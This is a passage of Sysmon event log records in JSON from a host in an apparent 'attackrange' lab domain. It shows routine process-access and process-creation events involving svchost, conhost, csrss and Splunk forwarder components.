AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.557\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4064-5F2D-0000-0010A9DC0400}\r\nTargetProcessId: 4332\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.557","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4064-5F2D-0000-0010A9DC0400}","TargetProcessId":"4332","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:04.698\r\nSourceProcessGUID: {90617006-4064-5F2D-0000-0010A9DC0400}\r\nSourceProcessId: 4332\r\nSourceThreadId: 4340\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:04.698","SourceProcessGUID":"{90617006-4064-5F2D-0000-0010A9DC0400}","SourceProcessId":"4332","SourceThreadId":"4340","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.387\r\nProcessGuid: {90617006-4065-5F2D-0000-00108EDE0400}\r\nProcessId: 3212\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.387","ProcessGuid":"{90617006-4065-5F2D-0000-00108EDE0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4065-5F2D-0000-00108EDE0400}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4065-5F2D-0000-00108EDE0400}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4065-5F2D-0000-00108EDE0400}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4065-5F2D-0000-00108EDE0400}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:05.386\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:05.386","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 